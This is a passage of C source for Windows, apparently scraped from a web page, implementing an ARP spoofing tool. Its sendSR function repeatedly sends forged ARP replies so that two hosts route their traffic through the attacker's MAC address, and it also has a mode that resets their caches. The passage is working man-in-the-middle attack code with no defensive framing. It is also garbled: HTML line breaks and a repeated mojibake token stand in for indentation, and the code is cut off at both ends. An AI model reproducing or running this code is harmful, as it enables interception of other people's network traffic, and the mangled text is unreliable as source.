(t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)memset(sendbuf,0,sizeof(sendbuf));<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)memcpy(sendbuf,&eth;,sizeof(eth));<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)memcpy(sendbuf+sizeof(eth),&arp,sizeof(arp));<br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)PacketInitPacket(lppackets,sendbuf,sizeof(eth)+sizeof(arp));<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)if(PacketSendPacket(lpadapter,lppackets,TRUE)==FALSE)<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng){<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)printf("PacketSendPacket in sendMASR Error: %d\n",GetLastError());<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)return -1;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)}<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)}<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)return 0;<br />}<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)<br />DWORD WINAPI sendSR(LPVOID no)<br />{<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)int (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) fun=*(int *)no;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)int (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) j,k;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)char (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)sendbuf[1024];<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)struct (t¨©ng) (t¨©ng)sockaddr_in (t¨©ng) (t¨©ng)fsin,ssin;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)BOOL (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)stimes=FALSE;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)ETHDR (t¨©ng) (t¨©ng) eth;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)ARPHDR (t¨©ng) (t¨©ng)arp;<br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)fsin.sin_addr.s_addr=htonl(firstip);<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)ssin.sin_addr.s_addr=htonl(secondip);<br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)eth.eh_type=htons(ETH_ARP);<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)arp.arp_hdr=htons(ARP_HARDWARE);<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)arp.arp_pro=htons(ETH_IP);<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)arp.arp_hln=6;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)arp.arp_pln=4;<br /> (t¨©ng) (t¨©ng)  (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)arp.arp_opt=htons(ARP_REPLY); (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) <br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)if(fun==3)<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng){<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)if(mm)<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng){<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)if((firstip==myip) && (secondip==myip))<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng){<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)fm=TRUE;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)  (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)sm=TRUE;<br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)memcpy(fmac,mmac,6);<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)memcpy(smac,mmac,6);<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)}<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)else if(!fm || !sm)<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng){<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)printf("\nNot get enough data\n"); <br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)return -1;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)}<br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)for(j=0;j<2;j++)<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng){<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)if(j==0)<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng){<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)printf("\nSpoofing %.16s : (t¨©ng) (t¨©ng)",inet_ntoa(fsin.sin_addr));<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)printf("%.16s ==> ",inet_ntoa(ssin.sin_addr));<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)}<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)else if(j==1)<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng){<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)printf("Spoofing %.16s : (t¨©ng) (t¨©ng)",inet_ntoa(ssin.sin_addr));<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)printf("%.16s ==> ",inet_ntoa(fsin.sin_addr));<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)}<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)for(k=0;k<5;k++)<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)printf("%.2x-",mmac[k]);<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)printf("%.2x\n",mmac[5]);<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)}<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)printf("\ni will try to snoof ...\n\n");<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)stimes=TRUE;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)}<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)else <br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng){<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)printf("\nNot get enough data\n"); <br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)return -1;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)}<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)}<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)else if(fun==4)<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng){<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)if(mm) <br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng){<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)if((firstip==myip) && (secondip==myip))<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng){<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)fm=TRUE;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)sm=TRUE;<br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)  (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)memcpy(fmac,mmac,6);<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)memcpy(smac,mmac,6);<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)}<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)else if(!fm || !sm)<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng){<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)printf("\nNot get enough data\n");<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)  (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)return -1;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)}<br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)printf("\nReset %.16s : (t¨©ng) (t¨©ng)",inet_ntoa(fsin.sin_addr));<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)printf("%.16s ==> ",inet_ntoa(ssin.sin_addr));<br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)for(k=0;k<5;k++)<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)printf("%.2x-",smac[k]);<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)printf("%.2x\n",smac[5]);<br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)printf("Reset %.16s : (t¨©ng) (t¨©ng)",inet_ntoa(ssin.sin_addr));<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)printf("%.16s ==> ",inet_ntoa(fsin.sin_addr));<br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)for(k=0;k<5;k++)<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)printf("%.2x-",fmac[k]);<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)  (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)printf("%.2x\n\n",fmac[5]);<br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)stimes=FALSE;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)}<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)else <br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng){<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)printf("\nNot get enough data\n"); <br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)return -1;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)}<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)}<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)else<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)return -1;<br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)do<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng){<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)memcpy(eth.eh_dst,fmac,6);<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)memcpy(arp.arp_tha,fmac,6);<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)arp.arp_tpa=htonl(firstip);<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)arp.arp_spa=htonl(secondip);<br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)if(!stimes)<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng){<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)memcpy(eth.eh_src,smac,6);<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)memcpy(arp.arp_sha,smac,6);<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)}<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)else<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng){<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)memcpy(eth.eh_src,mmac,6);<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)memcpy(arp.arp_sha,mmac,6);<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)}<br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)memset(sendbuf,0,sizeof(sendbuf));<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)memcpy(sendbuf,&eth;,sizeof(eth));<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)memcpy(sendbuf+sizeof(eth),&arp,sizeof(arp));<br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)PacketInitPacket(lppackets,sendbuf,sizeof(eth)+sizeof(arp));<br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)if(PacketSetNumWrites(lpadapter,2)==FALSE)<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng){<br /> (t¨©ng) (t¨©ng)  (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)printf("Warning: Unable to send a packet 2 times\n");<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)}<br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)if(PacketSendPacket(lpadapter,lppackets,TRUE)==FALSE)<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng){<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)printf("PacketSendPacket in SendSR Error: %d\n",GetLastError());<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)return -1;<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)}<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)Sleep(1000); (t¨©ng) (t¨©ng)<br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)memcpy(eth.eh_dst,smac,6);<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)memcpy(arp.arp_tha,smac,6);<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)arp.arp_tpa=htonl(secondip);<br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)arp.arp_spa=htonl(firstip);<br /><br /> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) 